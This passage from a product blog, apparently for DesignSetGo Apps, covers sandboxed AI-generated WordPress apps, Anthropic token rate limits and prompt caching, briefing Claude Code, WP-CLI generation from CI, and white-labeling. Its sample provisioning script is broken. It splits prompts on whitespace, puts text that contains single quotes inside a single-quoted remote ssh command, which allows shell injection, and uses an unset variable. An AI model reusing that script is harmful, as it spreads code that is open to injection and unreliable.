Those are WordPress modifications. They belong in WordPress. A DSGo App is not a replacement for a tiny plugin when the thing you want is a tiny plugin.

Use a DSGo App when the desired behavior is an interface:

- A calculator

- A quiz

- A product configurator

- A dashboard

- A lead magnet

- A pricing tool

- A content browser

- A member portal

- A small app that reads site data

Those are app surfaces. They deserve app isolation.

#### The trust question

The core question is not "can this code run?" It is "what happens if this code is wrong?"

In a snippet manager, wrong code can become a site problem. In a DSGo App, wrong code should remain an app problem.

That distinction is what makes AI-generated code practical for WordPress. The output does not have to be perfect before you try it. It has to be contained, inspectable, and permissioned. The site owner needs a way to approve "this app reads posts and sends email" without also approving "this code can execute arbitrary PHP inside my site."

That is the category line.

Snippet plugins are excellent for trusted WordPress modifications. They are the wrong home for untrusted, AI-generated app code. Put the interface in a sandbox. Give it a bridge. Make the permissions legible. Let WordPress stay WordPress.

Nealey

### Your WordPress AI connector dies on the 4th click: the 30,000 token limit nobody warned you about

URL: https://designsetgo.dev/blog/the-30k-itpm-cliff-what-wordpress-7-0-ai-connector-users-should-watch-for/
Published: 2026-05-16 · Nealey

You pasted an Anthropic key into the new WordPress 7.0 Connectors screen. You turned on three AI capabilities. You ran a bulk re-tag job on eight posts.

The first three posts re-tagged fine.

The fourth post hung. The fifth threw a generic “AI request failed” toast. The sixth wiped the half-finished edit you had open in another tab.

You just hit the 30,000-input-tokens-per-minute cliff. WordPress did not warn you. The plugin did not warn you. Anthropic’s dashboard will show you the spike about 90 seconds later, after the damage.

#### The problem: 30,000 tokens per minute is smaller than it sounds

Anthropic’s default rate limit (Tier 1, what every new API key starts on) is **30,000 input tokens per minute on Claude Sonnet**. 50,000 on Claude Haiku. You stay at Tier 1 until your organization has deposited $400 cumulatively. New keys, side-project keys, and most freelancer keys live here forever.

To put 30,000 input tokens in human scale:

- A 1,500-word blog post is roughly 2,000 tokens.

- A system prompt for a moderately-instructed plugin is 2,000 to 4,000 tokens.

- A single Claude call that reads one medium-length post, plus its tool definitions, plus the system prompt, plus conversation history, lands between 8,000 and 12,000 tokens.

That math means **three Claude Sonnet calls in the same 60-second window puts you over the cap.** Not three sessions. Three calls. A multi-turn editor session is three calls in 20 seconds.

The wire response when you cross it is a 429 with a `retry-after` header. The WordPress 7.0 AI Client surfaces that header. Most plugins built against the AI Client do not honor it yet.

#### What hitting the cliff actually looks like

Picture a real Tuesday afternoon.

You opened wp-admin to fix a typo. While you’re there, your SEO plugin’s nightly cron fires a “summarize and re-tag” job across eight posts. Each one ships about 3,000 tokens of post body and a 2,000-token system prompt. No prompt caching configured. That batch alone is 40,000 input tokens inside 45 seconds.

Post one through three: fine.

Post four: 429. The cron logs it as “provider error” and moves on.

Then your form plugin’s auto-reply capability fires on a new contact submission. Same connector, same Anthropic organization key. 429. The visitor sees a generic “we’ll get back to you” message; the AI-personalized reply they were supposed to receive never sends.

Then you click “Generate description” on a product. 429. This one you see. The button just spins.

You retry. 429. You retry again. 429.

The Anthropic Console will tell you what happened in about 90 seconds. By then you have explained it to a client.

The cliff is not abusive workloads. The cliff is **three normal plugins sharing one key**.

#### Why this lands in your lap, not the plugin author’s

The WordPress 7.0 Connectors API is a real improvement. Site owners paste one key at Settings → Connectors. Plugins declare capabilities. Core handles the wiring. Anthropic, OpenAI, and Google all slot in as default providers.

What it does not do today:

- **No built-in token-budget throttle.** Soft warnings only. Nothing in core stops a request after a 429.

- **No prompt-cache convention.** Plugins construct prompts however they want. Most will not think about cache breakpoint placement.

- **Plugin-to-plugin contention.** Every capability backed by the same connector pulls from the same Anthropic organization. Your SEO plugin and your form plugin share the 30,000.

- **Default model is Sonnet.** The lower of the two ceilings. Plugins asking for “smart” capabilities land on the tighter cap by default.

So when the cliff hits, WordPress logs “provider error.” The plugin author blames the provider. The provider hands you a `retry-after` header you never saw. The bill for the bad UX lands on you.

#### Why trust this writeup

We hit this exact wall shipping Riff, the in-admin AI editor inside DesignSetGo Apps Pro. Iteration 4 of a single editor session, 429, session dead, user staring at a broken screen.

The last week of commits has been about getting back under the cap and staying there: bounded tool results, message-history compaction, four-breakpoint cache placement, partial-work snapshots so a 429 stops becoming a total loss. The notes below are field-tested, not theoretical. Receipts in the next section.

DesignSetGo Apps does not hold your Anthropic key. Your site’s WordPress 7.0 Connectors screen does. We read your connector’s quota, surface it inside the app authoring flow, and refuse to ship configurations that we can predict will 429 on day one. That’s the angle we have on this problem. The fixes below work whether you use DesignSetGo Apps or not.

#### The five things that keep you off the cliff

##### 1. Cap every tool result before it hits message history

The model’s perspective is “I called a tool, I got content, I can use it.” The wire’s perspective is “that content rides along on every future call in this session.”

In Riff, an unranged `read_file` on a 30,000-token bundle ate the cap on iteration 2. We now hard-truncate any unranged read to **150 lines or 6,144 bytes**, whichever hits first, and tell the model to re-read with `start_line` / `end_line` if it needs more. Explicit ranges bypass the cap, because the model declared what it actually needs.

For WP AI Client plugin authors: same rule applies to `get_post_content`, `search_posts`, `read_media_caption_batch`, anything you let a tool fetch. Cap the per-call size. Put the cap in the tool description so the model can plan around it.

##### 2. Compact stale tool results out of history

A 6,000-token read from iteration 1 does not need to ride along on iteration 5. The model used it once. Replaying it is pure cost.

Riff walks the message history once per iteration. Any `read_file` result followed by an assistant turn gets elided: metadata (path, bytes, line count) stays, content gets replaced with “call read_file again if you need this.” Write-shaped tools (which return diff summaries) stay intact.

This pattern stopped our per-iteration input from growing linearly with N.

##### 3. Place your four cache breakpoints like you mean it

Anthropic allows 4 ephemeral `cache_control` breakpoints per request. Use all 4:

```
system prompt           ← breakpoint 1 (largest static block)
tools[last]             ← breakpoint 2 (whole tool array up to here)
messages[0] (user)      ← breakpoint 3 (brand context, prior_files snapshot,
                                       edit workflow)
messages[last] (assist) ← breakpoint 4 (conversation history through
                                       previous turn)
```

**Cached tokens do not count toward ITPM on most models** (Claude Haiku 3.5 is the exception, Haiku 4.5 is fine), and they bill at roughly 10% of base input rate. With an 18,000-token prefix cached at breakpoint 1, your effective per-turn budget is whatever changes after that breakpoint, typically a few hundred to a few thousand tokens. The 30,000 ceiling stops being scary.

Two ways to lose this:

- **Breakpoint instability.** One byte that changes inside the cached prefix invalidates the cache for every concurrent session sharing it. Pin a baseline fixture in tests. Refuse to merge prompt changes without re-pinning.

- **Per-model cache scoping.** Haiku’s cache does not warm Sonnet’s. If you route some calls to Haiku for cheapness, you pay two cold prefixes. Commit to one model per workflow, or budget for the warm-up.

WP AI Client plugin authors: the AI Client abstraction may not expose `cache_control` directly today. Check your provider plugin. If you cannot place breakpoints, keep prompts short enough that 30,000 uncached is livable. Long prompts without caching is the unsafe combination.

##### 4. Send less context on every turn

Riff’s “previous app” block used to inline every file under 1KB. On a CSS-heavy app, that was 5,000 to 8,000 tokens before the model decided which file to look at.

We rewrote it tree-only. Only the manifest is inlined (it carries the description, identifiers, routes). Every other file becomes `path + size + line count`. The model pulls content via `read_file` on the files it actually wants. One-time cost for the file being edited, instead of an every-turn cost for the whole bundle.

The general rule: **before you send a token, ask whether the model needs it this turn, or just might need it eventually.** “Might need eventually” content belongs behind a tool call.

##### 5. Snapshot partial work so a 429 is not a total loss

This one is not about reducing tokens. It is about surviving the failure when you trip the cap anyway.

Riff snapshots working files as a `partial_envelope` after every tool dispatch. If a run errors anywhere (validate cap, iteration cap, provider error, **rate_limited**), we ship whatever the model last produced. The user gets a “partial” banner, the work is preserved, the next turn includes context about what stopped the previous one.

If a 429 blanks an entire edit session and the user starts over, you created two problems: the rate-limit incident, and the trust hit. The trust hit is the bigger one.

#### The short checklist for site owners

If you just added an Anthropic key to your WordPress 7.0 Connectors screen:

-  **Check what tier the key is in.** New keys are Tier 1: 30,000 ITPM on Sonnet. You stay there until $400 in cumulative deposits.

-  **Set a customer-set spend cap in the Anthropic Console** below your tier ceiling. Catch surprise spend at the provider, not the plugin.

-  **Do not share an API key across unrelated sites.** They share the budget and the rate limit.

-  **Watch the Anthropic Console Usage chart for the first week.** It plots hourly max uncached input tokens per minute. If you are routinely brushing the limit, upgrade tiers or constrain the plugins doing the spending.

-  **Do not turn on every AI capability by default.** The Connectors screen makes it tempting. The 30,000 cap does not care about your good intentions.

#### The short checklist for plugin authors on WP AI Client

-  **Cap any tool result that returns user content.** Make the cap a constant the model can see in the tool description.

-  **Honor `retry-after` on 429.** The WP AI Client response surface includes rate-limit headers. Do not swallow them. Do not retry in a tight loop.

-  **Prefer Claude Haiku for routing, classification, short summaries.** 50,000 ITPM at Tier 1 vs Sonnet’s 30,000, and significantly cheaper per token.

-  **Keep prompts stable.** Identical prefix bytes is what makes prompt caching work. A timestamp or user ID interpolated into the top of your system prompt defeats the cache for every site using your plugin.

-  **Do not fan out from a single hook.** `save_post` triggering four plugins’ AI calls in parallel is the classic Tier 1 killer. Debounce.

-  **Surface the limit clearly.** “Anthropic Tier 1 rate limit (30,000 input tokens / minute) reached. Retry available in 18 seconds.” beats “AI request failed.”

-  **Document the spend tier you assume.** If your batch capability needs Tier 2, say so on the settings screen.

-  **Snapshot partial progress.** Long-running jobs checkpoint between AI calls so a 429 loses one item, not the whole batch.

#### What we wish were in core

Two things would change the shape of this problem:

- **Hard budget enforcement, not soft warnings.** A plugin that has burned its per-hour ITPM allocation should be unable to make the call, not warned and allowed through.

- **A shared per-organization token bucket** that every plugin on a connector draws from, with fair-share scheduling. The only way to stop “plugin A starves plugin B” without every plugin author reimplementing rate-limiting.

Neither exists in core today. The next-best thing is the discipline above: cache aggressively, bound your tool results, honor retry, route to Claude Haiku where you can, plan for partial.

#### See the cliff before it sees you

DesignSetGo Apps reads your WordPress 7.0 Connector’s tier and quota, then refuses to ship app configurations we can predict will 429 on day one. You see “this `ai.prompt` loop will burn 38,000 input tokens per minute on a heavy day, your connector is capped at 30,000” before you publish, not after a client calls.

The 30,000-token cliff is not going to move. You can keep building like it is not there, and find out the same way we did, on iteration 4 of a session you cannot afford to lose. Or you can ship with the rails on.

[See how DesignSetGo Apps surfaces your connector’s quota](https://designsetgo.dev/)

#### References

- [Anthropic: API rate limits and tiers](https://platform.claude.com/docs/en/api/rate-limits)

- [Anthropic: Prompt caching](https://platform.claude.com/docs/en/build-with-claude/prompt-caching)

- [WordPress 7.0 AI Connectors: Pros, Cons, and What the Ecosystem Needs (Vapvarun)](https://vapvarun.com/wordpress-7-ai-connectors-pros-cons/)

- [WordPress 7.0 AI Engine: Budget Risk (PressForge)](https://www.pressforge.co.uk/blog/2026/04/12/wordpress-7-ai-engine-budget-risk/)

- [AI Provider for Anthropic (WordPress.org)](https://wordpress.org/plugins/ai-provider-for-anthropic/)

### Five things Claude Code should know about your WordPress site

URL: https://designsetgo.dev/blog/five-things-claude-code-should-know-about-your-wordpress-site/
Published: 2026-05-13 · Nealey

The agent-first workflow for DesignSetGo Apps is short. You scaffold a project with `npx designsetgo apps init`, you open it in Claude Code (or Cursor, or Aider, or any agent that reads files in the working directory), you describe what you want, and the agent deploys it to your WordPress site with `npx designsetgo apps deploy`. There is no copy-pasting code into wp-admin, no Gutenberg sidebar to remember, no "now switch to your terminal and run this command." The agent runs the terminal.

The starter ships with a [CLAUDE.md](https://file+.vscode-resource.vscode-cdn.net/c%3A/Users/Justn/OneDrive/Documents/GitHub/designsetgo-apps/cli/templates/astro/CLAUDE.md) at the project root, which is the file Claude Code reads first on every session. That file is doing most of the work. But if you want to understand *why* the agent gets things right out of the box, or you want to brief a different agent that doesn't auto-load `CLAUDE.md`, here are the five facts that matter most. Drop them into a system prompt, paste them into a session, or just internalize them yourself before you start describing what you want.

#### 1. The app talks to WordPress through a bridge, not the REST API

The single most common mistake an agent makes when it sees "WordPress" in a prompt is to reach for `fetch('/wp-json/wp/v2/posts')`. That works in a logged-in admin context. It does not work in a DSGo App, because the app runs in a sandbox with no REST cookie and no API token.

Instead, the app imports `@designsetgo/app-client` and calls typed methods that go over `postMessage` to the WordPress side:

```
import { dsgo } from '@designsetgo/app-client';
await dsgo.ready;

const posts = await dsgo.posts.list({ per_page: 10 });
const me    = await dsgo.user.current();
const site  = await dsgo.site.info();
```

Every call is gated by what `dsgo-app.json` declares in `permissions.read`. If the manifest doesn't list `posts`, the bridge rejects the call with `permission_denied`. If it does, the call returns and visibility honors the visitor's WordPress capabilities automatically. The agent does not need to think about auth, REST nonces, or CORS, because none of those exist in this surface.

Brief for the agent: **"Never call /wp-json from inside this app. Use `@designsetgo/app-client` and add the matching permission to `dsgo-app.json` before calling it."**

#### 2. Adding a capability is a two-line manifest change, not a code search

The bridge is intentionally boring. There is one capability map, and it lives in [BRIDGE-API.md](https://file+.vscode-resource.vscode-cdn.net/c%3A/Users/Justn/OneDrive/Documents/GitHub/designsetgo-apps/BRIDGE-API.md). When the agent wants to add "log the current user's name to the page," the right sequence is:

- Add `"user"` to `permissions.read` in `dsgo-app.json`.

- Call `await dsgo.user.current()` from the page script.

That's it. No new dependency, no new server route, no new authentication step. If the agent wants to send email, it adds `"email"` to `permissions.read` plus an `email` block with allowed recipients, then calls `dsgo.email.send({ to: 'admin', subject: '...', body: '...' })`. Email goes through `wp_mail()`, so whatever SMTP plugin the site already uses handles delivery.

The full list, all gated by permissions, is in the starter's `CLAUDE.md`: `site_info`, `posts`, `pages`, `user`, `ai`, `abilities`, `commerce`, `email`. Plus storage (no permission, just call it), media uploads (gated by WordPress's `upload_files` capability), and the built-in router for SPA-style apps.

Brief for the agent: **"Before reaching for a third-party library, check whether there's already a `dsgo.*` method for the thing. There usually is."**

#### 3. The site's AI keys are never in the bundle

WordPress 7.0 introduced a Connectors API. The site admin pastes their Anthropic, OpenAI, or Google credentials in `Settings → Connectors` once, and every plugin that wants to call an LLM inherits that configuration. DSGo Apps inherits it too.

So inside a DSGo App, the AI call looks like this:

```
const result = await dsgo.ai.prompt({
  messages: [{ role: 'user', content: 'Summarize this post' }],
  max_tokens: 800,
});
```

There is no API key in the bundle. There is no `process.env.ANTHROPIC_API_KEY` anywhere. The manifest declares an `ai` block (with `max_tool_calls` and `timeout_seconds`), the visitor's request goes through the bridge, the WordPress side routes it through the site's configured Connector, and the answer comes back. The plugin author never sees a key, the bundle never ships one, and switching the site from Anthropic to OpenAI is a setting change, not a redeploy.

If the agent has spent any time building "AI WordPress plugins" pre-7.0, this is the part that surprises it. Reassure it: yes, really, no keys in the code.

Brief for the agent: **"For LLM calls, use `dsgo.ai.prompt()`. Do not add an SDK dependency. Do not look for environment variables."**

#### 4. Each route is a real HTML page at a real URL

If the agent assumes it's building a single-page app that takes over `/apps/your-slug/` and renders everything client-side, it will build something that works, but it will leave search-engine traffic on the table. The starter is wired for inline isolation, which means each route in `dsgo-app.json` becomes a server-rendered HTML page at `/apps/<id>/<path>`, with a fresh CSP nonce stamped on every script tag at request time.

That changes the agent's instincts in two useful ways. First, "add a pricing page" means adding a new entry to `routes`, a corresponding file under `src/pages/`, and a build step. The URL is real, the title is real, the meta description ships in the response, and Google indexes it normally. Second, dynamic routes like `/posts/:slug` can pull their dataset live from WordPress content via the `dataset` field, with built-in sources for `wp:posts`, `wp:pages`, `wp:cpt:<slug>`, and `wc:products`. No bundled JSON, no rebuilds when an editor publishes a post.

If you actually want the iframe sandbox model (a tool, a widget, a calculator), the manifest opts in with `isolation: "iframe"` and the trade-offs flip the other way: full origin isolation, no SEO. Both modes exist on purpose. The starter picks inline because most apps want to be findable.

Brief for the agent: **"This is multi-page by default. Each route is its own HTML file under `src/pages/`. Search engines see fully-rendered pages."**

#### 5. Deployment is one command, and the agent runs it

The CLI is small enough to memorize:

```
npx designsetgo apps login mysite.com        # one-time auth
npx designsetgo apps deploy --build          # build + upload
npx designsetgo apps deploy --dry-run        # validate without uploading
npx designsetgo apps list                    # what's installed
npx designsetgo apps open                    # open in browser
npx designsetgo apps logs                    # plugin-level error log
```

`apps deploy --build` runs the build, validates the manifest, packs the bundle, and pushes it to the site over HTTPS. The agent should treat this as the iteration loop: edit, deploy, check the result, repeat. `--dry-run` is for sanity-checking a change without shipping it. `--debug` prints the request/response if something fails.

The two iteration constraints worth knowing. First, `npm run dev` runs Astro locally but the bridge has no host to talk to, so any feature that uses `dsgo.*` has to be tested against a real deploy. Second, deploys are atomic at the bundle level: if validation fails the old version stays live, so the agent can't half-break the app by shipping a bad manifest.

Brief for the agent: **"After every meaningful change, run `npx designsetgo apps deploy --build` and check `npx designsetgo apps logs` if it doesn't behave the way you expected."**

#### Putting it together

If you start a new Claude Code session against a freshly scaffolded DSGo App, the agent has [CLAUDE.md](https://file+.vscode-resource.vscode-cdn.net/c%3A/Users/Justn/OneDrive/Documents/GitHub/designsetgo-apps/cli/templates/astro/CLAUDE.md) loaded automatically, so most of the above is already in context. The reason to internalize the five points anyway is that they're the same five points you need when you're briefing a colleague, paying for a freelance hour, or describing the product to someone who wants to know whether their existing AI workflow ports over.

The short version is: yes, it ports over. The agent already knows how to write HTML, CSS, TypeScript, and Astro. What it learns from DSGo Apps is that talking to WordPress is now a two-line manifest change, that the keys live in the site instead of the bundle, and that "deploy" is a command it can run itself.

Everything else is just building the thing.

### Ship 30 WordPress apps a week from CI with one CLI command

URL: https://designsetgo.dev/blog/driving-generation-from-wp-cli/
Published: 2026-05-10 · Nealey

Your agency onboards 8 clients a month. Each one wants 3 to 5 small apps: a reservation form, a menu page, a member portal, a pricing calculator. That is 30 custom apps a month your team has to build, test, and deploy. By hand. Every month.

A developer day costs $800. A simple app eats 4 hours. Do the math. You are burning roughly $24,000 a month on work that is mostly the same five patterns with different copy.

That is the part that hurts. Not the cost. The repetition. Your senior people are writing the same contact-form-with-email logic for the 47th time, while the interesting work (the part that made them join an agency) sits in the backlog. Turnover follows. So does the gap between “we promised the client this Friday” and “the dev is still building it.”

#### What changes when an agent runs the deploy

DesignSetGo Apps ships a WP-CLI command, `wp dsgo harness generate`, that turns a one-line prompt into a validated WordPress app bundle. Pair it with `npx designsetgo apps deploy` (the @designsetgo/cli package), and Claude Code, Cursor, or a GitHub Actions runner can ship a new app to a client site without a human touching wp-admin.

Same five patterns, generated and deployed from CI. The senior developer reviews the bundle in a PR; they do not write it.

#### The basic two-step

On a server with WP-CLI installed and a DesignSetGo Apps Pro license active:

```
wp dsgo harness generate \
  --prompt="A contact form that emails the admin when someone submits it." \
  --out=./contact-form.zip
```

The command sends the prompt through `wp_ai_client_prompt()` (using the site’s configured WordPress 7.0 Connector, so no API keys live in DesignSetGo), runs the harness pipeline (system prompts, tools, validator, autofix), validates the manifest against the v1 schema, and writes a zip to disk. Twenty to sixty seconds, end to end, depending on provider latency.

The CLI **generates**. It does not deploy. That is the second step:

```
unzip contact-form.zip -d ./contact-form
npx designsetgo apps deploy ./contact-form --site=https://yoursite.com
```

The split is deliberate. Generate once, review the bundle in a PR, deploy to one client or fifty. No regeneration. No drift.

#### The actual flags

The full surface of `wp dsgo harness generate` in v1:

```
--prompt=<text>   The user prompt. Required. Use '-' to read from STDIN.
--out=<path>      Path for the generated zip. Required.
--quiet           Suppress human-readable progress output.
--json            Print a single JSON object to stdout on completion.
```

No `--slug`, `--deploy`, `--profile`, `--no-validate`, `--update`, `--max-autofix-rounds`, or `--dry-run`. The contract is intentionally small. Deploy and configure happen in separate, composable steps.

Slug comes from the generated manifest’s `id` field. Override by editing `dsgo-app.json` inside the bundle before deploy.

#### STDIN prompts for the longer ones

```
cat prompt.txt | wp dsgo harness generate --prompt=- --out=./out.zip
```

Or via heredoc:

```
wp dsgo harness generate --prompt=- --out=./out.zip <<'EOF'
A multi-page member portal with three views (overview, my posts, preferences),
gated to logged-in users, with per-user preference storage.
EOF
```

#### JSON output that scripts can branch on

`--json` emits one line of structured output:

```
{"ok":true,"attempts":1,"first_pass":true,"app_id":"contact-form","out":"./contact-form.zip"}
```

On failure:

```
{"ok":false,"error_code":"ai_not_configured","error_message":"No WP AI Connector is configured."}
```

The schema is stable. On success: `attempts` (how many harness rounds ran), `first_pass` (true if no autofix was needed), `app_id`, `out`. On failure: a stable `error_code` enum plus a human-readable `error_message`.

#### Exit codes for shell scripts

```
0  success
1  general error
2  provider_error or parse_error (harness pipeline produced bad output)
3  wp_version_too_old or ai_not_configured (preflight failure)
4  empty_prompt or prompt_too_long (input validation)
```

A sane provisioning script branches: 3 means configure the site and retry. 4 means the prompt is wrong, do not retry. 2 likely means a flaky provider, retry might help. 1 is the generic catch-all.

#### Validate a bundle without invoking the model

```
wp dsgo harness validate ./contact-form.zip
```

Checks the zip against the v1 manifest schema and the harness’s structural rules, no LLM call. Success prints `Success: OK` and exits 0. Failure prints a JSON line with `code`, `message`, and `data`, and exits 1. Run this in CI before the deploy step. Catch the bad bundle before it touches a client site.

#### The worked example: restaurant onboarding in 9 minutes

Agency onboards a new restaurant client. A YAML file describes the setup:

```
site_url: https://restaurant-name.com
apps:
  - prompt: "A menu page styled like a printed bistro menu. Pull dishes from the 'menu_item' custom post type."
  - prompt: "A reservation form that emails the manager when someone submits."
  - prompt: "A hours-and-location widget for the homepage."
```

The provisioning script reads the YAML, generates each bundle over SSH, then deploys with the JS CLI:

```
i=0
for prompt in $(yq '.apps[].prompt' config.yml); do
  i=$((i+1))
  out="/tmp/bundle-$i.zip"
  ssh deploy@restaurant-name.com "cd /var/www/wp && wp dsgo harness generate --prompt='$prompt' --out=$out --json" \
    > "/tmp/bundle-$i.meta.json"
  scp "deploy@restaurant-name.com:$out" "./bundle-$i.zip"
  unzip "./bundle-$i.zip" -d "./bundle-$i/"
  npx designsetgo apps deploy "./bundle-$i/" --site="$site_url"
done
```

Three apps. Roughly 3 minutes of harness time each. Total wall-clock: under 10 minutes from “kick off the script” to “all three apps live.” Compare that to a developer day per app. Adding a fourth app later means one new line in the YAML.

The harness is doing the engineering. The developer is doing the prompt and the review. Your senior people get their interesting work back.

#### When the CLI is the wrong tool

- The client is going to want to iterate on the prompt 15 times. The browser admin page is faster; they see the result immediately.

- The user is non-technical. WP-CLI needs shell access. The admin page does not.

- The bundle needs hand-tuning. Generate, unzip, edit, then `npx designsetgo apps deploy`. Same end state, review pass in the middle.

- No Connector is configured on the site. The CLI fails predictably (`ai_not_configured`, exit code 3). The admin page walks the user through configuration first.

CLI is for “I know what I want, I want it scripted.” For exploration, use the browser surface.

#### Start your 14-day Pro trial and ship the next app from CI

CLI deploy and `wp dsgo harness generate` are Pro features. The free tier covers one app with HTML upload through wp-admin, which is the right way to kick the tires. Hit the 14-day Pro trial when you are ready to wire the harness into your CI and stop billing clients for the 47th contact form.

[Start your 14-day Pro trial](https://designsetgo.dev/pricing/). No card on the free tier.

#### Where to go next

- The [harness post](https://designsetgo.dev/blog/the-harness-what-makes-ai-generation-trustworthy/) for what the pipeline actually does.

- The [GitHub Action post](https://designsetgo.dev/blog/the-github-action-continuous-deploy/) for the same `apps deploy` flow in CI.

- The [Apps as Abilities vertical pack post](https://designsetgo.dev/blog/apps-as-abilities-vertical-pack/) for the pack model scripted provisioning tends to produce.

### White-labeling DesignSetGo for your agency clients

URL: https://designsetgo.dev/blog/white-labeling-for-agencies/
Published: 2026-05-10 · Nealey

You build apps for client sites; your clients pay you; you maintain the apps. The tools that make this workflow ten apps for ten clients in a quarter (the GitHub Action, the Pro harness for faster generation, the deploy CLI) all earn their keep.

The piece that closes the loop is white-labeling. From the client’s perspective, they shouldn’t have to know about us. They should see your agency’s name on the plugins page when they’re poking around in wp-admin. They should see your name in the admin sidebar where the apps list lives. The plugin should feel like part of your offering, not like a third-party dependency they ended up with.

This post covers what white-label does in v1, what it deliberately doesn’t, and the rationale for both. The honest summary: the v1 surface is narrower than I’d like to imply, because we shipped the parts that mattered first and left the rest for v2. But the parts we shipped are the parts that matter most to most agencies.

#### What white-label changes in v1

White-label is an Agency-tier feature (the top paid tier). Enabling it lets the agency configure a single brand name in their Pro settings, and that brand name overrides the “DesignSetGo” string in two places end-clients see:

- **The apps-list admin eyebrow.** The DesignSetGo Apps admin page (Apps → All apps) has a small “DesignSetGo” eyebrow above the page title. With white-label, that becomes your agency’s name. The client looking at the apps list sees your brand at the top.

- **The wp-admin plugins listing.** The Plugins page in wp-admin shows each plugin with a name, author, plugin URI, and description. With white-label, the DSGo Apps (free) and DSGo Apps Pro plugin rows are rewritten to show your agency’s name, your URL, and your description. The plugin still works the same; the client just doesn’t see “DesignSetGo” in the row.

That’s the v1 surface. Two locations, both in wp-admin, both where the client is most likely to notice “what’s this plugin doing here?”

#### What white-label doesn’t change in v1

The honest list of things we left out:

- **The install dialog’s frame.** The permission buckets and the dialog chrome stay DSGo-branded. We considered re-branding this and decided not to: the install dialog is a trust signal, and we’d rather have site owners associate the dialog’s design with our security guarantees than let it be re-skinned per agency.

- **Error pages and toasts.** The error strings (“DSGo couldn’t load this app”) are not re-branded in v1. The error codes stay the same regardless of branding, so your support can still reference them; this just means the visible string still says “DSGo.”

- **The plugin’s source-code attribution.** GPL-licensed code stays GPL-licensed; the author attribution in the source files is unchanged. End-clients don’t see this unless they’re reading PHP.

- **CLI output.** When developers run `npx designsetgo apps deploy`, the CLI success messages still say “DesignSetGo.” This is a developer-facing surface, and we kept it un-rebranded because the agency’s developers are using the same CLI we maintain.

- **The handful of admin notices that link to our docs.** Where the plugin links to docs for “learn more,” the link still points at our docs. We can’t reasonably mirror our entire documentation per agency.

The pattern, in case it’s not obvious: branding moves on surfaces the end-client sees as part of using the plugin; branding stays on surfaces where the client is unlikely to look, or where we have a reason to keep the original attribution. The boundary is “what the client expects to be part of your service” vs “what the client expects to be part of the underlying infrastructure.”

If we shipped v2 white-label, the additions would be: error string overrides, admin notice link overrides, maybe a logo upload that surfaces on the apps admin page. None of those are blockers; they just weren’t in the v1 cut.

#### How to enable white-label

In the agency’s Pro account dashboard, go to **White-label**:

```
Brand name:    Your Agency Name
```

That’s the whole configuration in v1. One field, free-text, the agency’s brand name as it should appear on the plugins page and the apps admin eyebrow.

The field saves to a single option in WordPress (`dsgo_apps_pro_brand_name`). If it’s empty or whitespace, the default “DesignSetGo” string passes through unchanged; agencies don’t have to actively disable white-label, they just leave the field blank.

Multi-site agencies (one agency, multiple client sites) configure this per-site, not per-account. Each client site has its own Pro plugin install and its own brand-name option. This is intentional: an agency might want different branding for different clients (a client’s own agency-of-record vs the agency’s house brand), and per-site config supports that without per-client account complexity.

#### A note on per-site billing

White-label is a Pro Agency-tier feature, but it’s licensed per-site, not per-agency. Each client site running white-labeled apps counts as one Agency-tier site license. This matters because:

- The agency can run 20 clients and pay for 20 Agency licenses, or run 20 clients with mixed tiers (Personal for some, Agency for the ones that need white-label).

- The agency can offer different tiers of service to different clients (some get the harness, some get white-label, some get both).

- A client who buys out their site and takes it in-house keeps the white-label setting until the license expires; nothing breaks at handoff.

Pricing is on [the pricing page](https://designsetgo.dev/pricing). The short version: Free $0, Personal $99/site/yr, Plus $199, Agency $399, with white-label kicking in at the Agency tier.

#### What clients see

A client visiting their wp-admin sees:

- **In the plugins list:** “Your Agency Apps” by Your Agency at youragency.com (instead of “DesignSetGo Apps” by DesignSetGo at designsetgo.dev).

- **On the apps admin page:** “Your Agency” as the eyebrow above “Apps” or “All apps” (instead of “DesignSetGo”).

If they Google “Your Agency Apps,” they don’t find us; they find your agency. If they Google one of our error codes (which still appear in error toasts), they might find our docs. That’s expected. The error codes are documented in our public reference and that documentation is the ground truth for the runtime; we’d rather have your client find accurate troubleshooting than have your agency reimplement our docs.

#### The freemium etiquette question

A topic worth being explicit about: should an agency white-label a free plugin?

Our position: yes. The free tier of DSGo Apps is GPL’d, and white-labeling it is allowed under the GPL. We don’t enforce branding requirements on the free tier; we ask politely that you mention DesignSetGo Apps in your client documentation, but it’s not a license requirement.

The Pro tier of DSGo Apps is licensed differently, and the per-site licensing creates a clear commercial relationship between us and the agency, regardless of what the end-customer sees. White-labeling the Pro tier is the use case white-label was built for. The implicit deal is reasonable: you pay us per site, we make it easy for you to present the plugin as part of your service.

#### What this is not

A few things white-label deliberately doesn’t do:

- **It doesn’t hide the existence of DesignSetGo Apps from a developer who looks under the hood.** Source code, file paths, internal class names: all unchanged. A developer auditing the site sees that the plugin is DesignSetGo Apps with re-skinned UI. White-label is a UX layer, not a forensic-evasion layer.

- **It doesn’t relicense the plugin.** Agencies can’t sell our plugin under a closed license; they can only re-brand the user-facing surfaces.

- **It doesn’t fork the codebase.** Updates to our plugin still come from us; agencies don’t accumulate divergent forks.

The simplest framing: white-label is for “our agency runs DesignSetGo Apps on behalf of clients, and the clients should think of it as our agency’s product.” It’s not for “we want to fork the plugin and pretend we wrote it.”

#### The v2 wishlist

A few things we know we’ll want to ship next, when we get back to white-label:

- **Logo upload.** The apps admin page should show your agency’s logo, not just your name. We have the rendering surface for it; we just haven’t built the upload UI.

- **Error string overrides.** The structured error codes stay; the human-readable strings get per-agency overrides. This is the next likely item.

- **Configurable support link.** Right now, the admin links to our support; an agency might want it to link to their support inbox. Small change, high value for agencies.

- **Per-client brand profiles.** Today, each site has one brand. Agencies running multi-site networks might want per-network-site profiles.

None of these are roadmap commitments; they’re the obvious list of “things that come up in agency calls.” Order is roughly likely-to-ship.

#### Where to go next

- The [pricing & business-model doc](https://designsetgo.dev/pricing) for the per-tier feature breakdown.

- The [GitHub Action post](https://designsetgo.dev/blog/the-github-action-continuous-deploy/) for the agency deploy workflow.

- The [harness post](https://designsetgo.dev/blog/the-harness-what-makes-ai-generation-trustworthy/) for the other Pro feature agencies care about.

### The GitHub Action: continuous deploy from your repo

URL: https://designsetgo.dev/blog/the-github-action-continuous-deploy/
Published: 2026-05-09 · Nealey

The CLI workflow in [Build a WordPress app with Claude Code in 15 minutes](https://designsetgo.dev/blog/build-a-wordpress-app-with-claude-code/) ends with `npx designsetgo apps deploy --build` running from your laptop. That’s the right shape for individual developers iterating on one or two apps. It’s the wrong shape for an agency with twenty client sites and a team of five, because the laptop-deploy pattern has a few subtle problems at scale:

